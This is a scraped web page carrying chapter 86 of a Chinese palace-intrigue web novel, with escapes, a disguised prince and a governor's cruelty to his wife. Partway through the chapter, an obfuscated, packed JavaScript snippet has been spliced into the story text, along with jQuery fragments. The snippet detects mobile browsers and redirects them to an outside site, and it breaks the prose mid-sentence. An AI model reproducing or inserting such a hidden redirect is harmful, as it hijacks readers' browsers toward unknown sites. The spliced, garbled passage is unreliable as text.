默认冷灰
24号文字
方正启体

86. 镇安亲王

作者:严肃一点本书字数:K更新时间:
    伊州“清泉茶庄”,西域胡乐声隐约传来,一位着靛青圆领袍的中年男子,拇指上戴着夺目的翡翠扳指,正用带着长安官话的口吻说着:“今年蜀地茶税又涨了三成。”


    深目高鼻的粟特人裹着金线滚边的赭色长袍,腰间别着嵌红宝石的割肉小刀,操着生硬的汉话笑道:“只要是好茶,我们撒马尔罕的金子管够。”


    房婉容与戒现藏身前厅外侧的屏风后,紧盯着前厅茶会。


    “两位且安心。”通译捧着茶盘进来,腕间的金蛇镯在阳光下闪烁,“王爷的人很快就到……”


    “到底何时能到?”房婉容压低声音打断。


    通译笑容不变:“很快,很快。”


    戒现盯着通译腕间的金蛇镯——那是祆教商队的标记,眉头紧锁:“你们与胡商往来如此密切,林弘彦的眼线岂不是……”


    “明面上这茶庄是贵族消遣之地,实则暗通情报。”房婉容按住他,低声道,“只要钱给够,连刺史府的机密都能买到。”


    戒现仍不安:“若他们转头将我们卖给林弘彦呢?”


    房婉容自信道:“这是汉商的地盘,在汉人的地界,王爷的权势岂是刺史可比?”


    戒现不再说话,眉头却明显表现担忧。


    前厅传来三声清脆的叩盏声,接着是茶筅划水的轻响。


    “这手法明显不对!”房婉容偷看茶师的手势,瞳孔骤缩。


    通译连忙摆手:“那是新来的茶师……”


    没有丝毫犹豫,戒现抄起茶盘砸向通译面门。“跑!”他拽住房婉容就往侧门冲,顺手抓起案几上的茶罐向后泼洒。上等的阳羡紫笋茶漫天飞舞,家丁们惊呼着去接。


    “我的明前茶!”掌柜的惨叫响彻茶庄。


    两人在回廊里跌跌撞撞地逃窜。戒现抓起沿途的花瓶、香炉胡乱向后扔。一个家丁扑来,他情急之下把整筐茶饼扣在对方头上。可怜的掌柜,看到脚都软了。


    “这边!”房婉容推开一扇小门,却是存储茶具的小密室。


    身后脚步声越来越近,戒现突然发现墙角堆放的茶箱被撞倒,后面露出个黑黝黝的地窖入口。


    “走!”戒现拉住房婉容冲进地窖,两人滚下台阶的瞬间,地窖门被重重关上。


    黑暗中,一柄钢刀悄无声息抵住戒现的后颈。


    “别出声。”声音和刀刃一样冰冷。


    房婉容和戒现吓得一动不敢动。前有狼后有虎,谁能想到连地窖都埋伏了杀手?


    火折子亮起,映出严朔那张带着箭疤的脸。他独身一人,连铠甲都没穿,粗布衣裳上还沾着塞外的风沙。


    身后传来熟悉的轻咳。房婉容转头,看见父王穿着寻常商贾的棉袍,正在碾碎一块茶饼。


    “伊州的茶师手势,本就和沙州不同。”镇安王碾着茶饼,声音里带着几分无奈,“你连这个都分不清了?”


    他抬起眼,目光扫过女儿沾满茶叶的衣襟:“点茶时三叩茶筅,在沙州是警讯,在这里不过是散沫的手法——你的老师没教你辨这个?”


    “父王!”房婉容扑上前抓住父王的手,指尖都在发抖,眼泪噗哒砸在了镇安王的手背上,“您再不来女儿就要殒命伊州了!”


    镇安王单手解下大氅裹住女儿,“你受苦了。”从怀中取出绣囊,“赵诚送来这个,为父就知道你出事了。”


    房婉容刚要说话,地窖的门忽然打开,通译带着两个伙计猫腰钻进来:“王爷恕罪,小的安排不周,惊吓县主,还请见谅。眼下只有这处地窖……”


    “无妨。”镇安王摆摆手,“只是本王离藩之事,切不能走漏风声。”


    “小人明白。”通译立刻做了个封唇的手势,“今日茶庄的人,都是自己人,装作照常营业只为不让外人发现异常。”


    镇安王点点头,房婉容恍然大悟,才觉父王早有安排,倒是自己杯弓蛇影了。


    待通译带人离去,房婉容急道:“父王私自离藩,若被御史台知道……”


    “沙州府里坐着‘本王’呢。不过还是得早日回去,易容术维系的时间只剩几天。”镇安王疼惜地擦掉房婉容脸上泪水。“知道你没事我就放心了。”


    镇安王目光转移到戒现身上。“这位是——好是眼熟。”


    “父王,您忘了,伽南寺的高僧戒现,他已脱教。”房婉容羞涩地低下头,


    戒现身影微微一晃,最终行了个标准的士人礼:“草民戒现,见过王爷。”


    “嗯……”镇安王指尖在茶案上敲了敲,没说话。


    房婉容走上来,“父王,林弘彦那狗贼,逼疯了姨母,把我骗来这里要拿我当祭品!”她猛地撸起袖子,露出腕间狰狞的血色法印,“我要他死!”


    “他当然要死。”镇安王用拇指擦过女儿腕间的印记,声音轻得像雪落刀锋,“不过在那之前,为父要让他亲眼看着自己的盘算——一寸寸化成灰。”


    ……


    ……


    林府东跨院的南厢房里,烛火晃动,房静姝蜷缩在角落,长发散乱,嘴角沾着故意抹上的粥渍,手指在地板上划着无意义的符号——她越来越疯,连丫鬟都敢在她面前骂她“疯子”。


    眼瞅着春桃端着粥碗,锁上房门铁链离开,房静姝飞快地扑向房门,瞅准窗户外没人,便从窗棂间伸手去够铁链上的锁扣。


    林弘彦的靴子停在门口。


    “夫人,”他闲闲地拿出钥匙打开门锁,“锁早换了,戏也该收场了。”


    房静姝的指尖一顿,猛地缩回来,等林弘彦跨步进来,她痴笑着去抓他的衣摆:“蝴蝶……蝴蝶飞走了……”


    “你也知道蝴蝶飞走了?”林弘彦一把攥住她的手腕,“房婉容跑了,‘天启’不能耽搁——好在房家的血脉,还有昭昭。”


    “昭昭?!”房静姝的伪装瞬间崩塌,嗓音尖利起来,“她是你亲生女儿!她已经嫁去张掖了啊!”


    林弘彦甩开她,冷笑:“装不下去了?这些年你三番五次去沙州‘探望’房婉容,不就是为了套牢她替你们母女当祭品?”他猛地掐住她下巴,“房静媛死后,你就猜到祆教会找下一个房氏女子献祭……真是好姨母啊。”


    房静姝浑身发抖,突然扑上去撕打:“畜生!虎毒尚不食子——你简直不是人!”


    房静姝的指甲在林弘彦脸上抓出几道血痕,她发疯般撕扯他的衣襟:“你休想动昭昭!她是你亲骨肉!你——”


    “闭嘴!”林弘彦猛地推开她,力道大得让她撞翻案几,茶盏碎了一地。


    他的眼睛布满血丝,嘴角神经质地抽搐着,像是被什么无形的东西追赶着。


    “鬼火……地鸣……铜像泣血……”他喃喃自语,手指无意识地抓挠着袖口,“你们都想害我……都想毁了我的大业!”


    房静姝惊恐地看着他——这个曾经儒雅阴狠的丈夫,此刻像个被逼入绝境的困兽,连瞳孔都在不正常地放大。


    “你以为我在乎一个女儿?”他突然尖笑起来,声音嘶哑如夜枭,“天启必须完成!只要天门一开,我就是——”


    窗外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442033|153064||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骤然刮进一阵阴风,烛火“噗”地熄灭。


    黑暗中,林弘彦的声音骤然冷静下来,冰冷得可怕:“……打断她两条腿,昭昭回来之前还不能让她死。”


    房静姝瞪大眼睛,不敢置信看着三十多年枕边人已经完全泯灭人性,她扑过去大喊:“让我替昭昭!用我的血——”


    林弘彦反手将她掼在地上,居高临下道:“你的血太老了,怎比得上昭昭鲜活有力?”


    侍卫举着裹布的木根进来,那布条上血迹斑斑,不知棍下死伤过多少人,谁能料到,今日堂堂刺史夫人也会遭此下场。


    “林弘彦,我让你不得好死!”


    房门合上,房静姝怨毒的眼睛瞬间涨得血红。


    ……


    ……


    侍卫总领刘劲刚监督完交班,便听下属说房静姝要见他。推开门,屋内昏暗潮湿,血腥气混着药味扑面而来。


    房静姝靠在榻上,双腿被活生生打断,只草草用木板固定,裹着渗血的麻布。她的脸色惨白,可眼神却异常清醒,甚至带着一丝讥诮。


    “夫人。”他抱拳行礼,声音恭敬,目光不敢与她直视。


    “刘总领,”她声音沙哑,却字字清晰,“当年你进林府,是谁举荐的?”


    刘劲一怔,下意识压低声音:“夫人大恩,属下不敢忘。”


    “不敢忘?”房静姝冷笑,“若不是我认得你那个在房家当差的表兄,就凭你一个边关小卒,能进刺史府当差?”


    刘劲面色微变,却仍道:“刺史之命,属下不敢违抗。”


    “刺史之命?你忘了崔元贺怎么死的吗?”房静姝嘶声笑起来,“你要步他后尘?”


    刘劲一怔,脸上浮现出复杂的神情,“崔元贺是魏明翰杀死的,干我何事?”


    “崔元贺是林弘彦的狗,你不是?”房静姝盯着他,声音冰冷,“林弘彦要完了,朝廷在查他,突厥人嫌他失信,祆教‘天启’根本不需要他,他倒台了,第一个要灭口的,就是你们这些心腹。”


    刘劲的指节无意识摩挲着刀柄,额角渗出细汗。


    “我要是你,就给自己留条后路。”房静姝见他动摇,俯身逼近,腿间血腥味混着药气扑面而来,“崔元贺的命、我的腿就是证明,你如果不想落个横死的下场,就好好听我的!”


    刘劲的眼神闪烁了几下,最终咬了咬牙,说道:“好,我信你这一次。但若是出了差错,我也不会让你好过!”


    房静姝冷笑一声,已撕开枕套,露出半卷染血的绢册。“我早就预防着这一天,偷偷替换了他藏书房里的军粮账册,这本是有他画押的血指引。”她压低嗓音,“你替我带出去,交给魏明翰,让他看在我检举有功的份上,求圣上饶我房氏一族性命。”


    刘劲盯着绢册上暗红的指印——那是林弘彦画押特有的朱砂掺血。他呼吸加重,突然一把抓过账册塞进胸甲,转身就走。


    “刘劲。”房静姝在身后轻声道,“你表兄一家六口,都在房家庄子当差对吧?你老母今年六十有三,还住在房家之前送给她的小院子里,动作利索点,可别让老人家担心。”


    刘劲的肩甲微微发颤,半晌,从牙缝里挤出一句:“……账册,我尽快送出去。”


    房静姝死死地注视着刘劲走出门廊,守门的侍卫将门合上,锁链再度缠绕,门缝间光线消逝之际,她露出一丝讥笑。


    螳螂捕蝉,黄雀在后。


    在她没看到的拐弯处,杨树下一身绯色官服的林弘彦淡定地站着,看向走过来的刘劲。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)